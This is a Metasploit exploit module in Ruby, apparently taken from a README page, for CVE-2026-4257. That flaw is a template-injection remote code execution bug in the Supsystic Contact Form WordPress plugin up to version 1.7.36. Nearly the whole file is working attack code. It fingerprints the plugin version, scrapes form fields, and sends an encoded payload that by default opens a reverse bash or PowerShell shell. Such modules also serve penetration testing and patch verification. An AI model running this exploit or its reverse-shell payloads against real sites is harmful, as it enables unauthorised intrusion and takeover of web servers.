README.md
Rendering markdown...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
'Description' => %q{
This module performs SSTI achieving RCE in webpages containing the
Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
before.
},
'Author' => [
'Azril Fathoni', # Vulnerability Disclosure
'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Encoder' => 'cmd/twig_base64'
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'Payload' => {
'Encoder' => 'cmd/twig_base64'
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'References' => [
['CVE', '2026-4257'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/cve-2026-4257'
],
],
'DisclosureDate' => '2026-03-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FIELD', [
false,
'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
]),
OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
OptBool.new('SSL', [false, 'Use SSL', true])
]
)
end
def vulnerable?(version_str)
return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
end
def get_version(body)
version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
match = version_regex.match(body)
match ? match[1] : nil
end
def get_fields(html)
pattern = /data-name="([^"]+)"/
field_names = html.scan(pattern).flatten.uniq
if field_names.any?
print_good("Found fields: #{field_names.join(', ')}")
return field_names
else
print_warning('Failed to find fields.')
return nil
end
end
def handle_field
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
unless res
fail_with(Failure::Unreachable, 'Failed to recieve a reply from server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
end
# Might as well check the version since we sent the request...
version_str = get_version(res.body)
if vulnerable?(version_str)
vprint_status("Version #{version_str} is vulnerable.")
else
vprint_warning("Version #{version_str} is not vulnerable.")
end
fields = get_fields(res.body)
if !fields.nil?
field = fields[0]
print_status("Using detected field: #{field}")
return field
end
if field.nil
fail_with(Failure::NotFound, 'Failed to resolve target field')
end
end
def send_payload(payload, field)
params = { 'cfsPreFill' => 1, field => payload.encoded }
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'vars_get' => params
})
end
def exploit
if datastore['FIELD'].nil?
field = handle_field
else
field = datastore['FIELD']
end
send_payload(payload, field)
end
def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
return CheckCode::Unknown unless res.code == 200
version_str = get_version(res.body)
if version_str.nil?
vprint_status('Failed to derive version')
fields = get_fields(res.body)
return CheckCode::Detected unless fields.nil?
end
if vulnerable?(version_str)
return CheckCode::Vulnerable("Detected version #{version_str}")
end
return CheckCode::Safe("Detected version #{version_str}")
end
end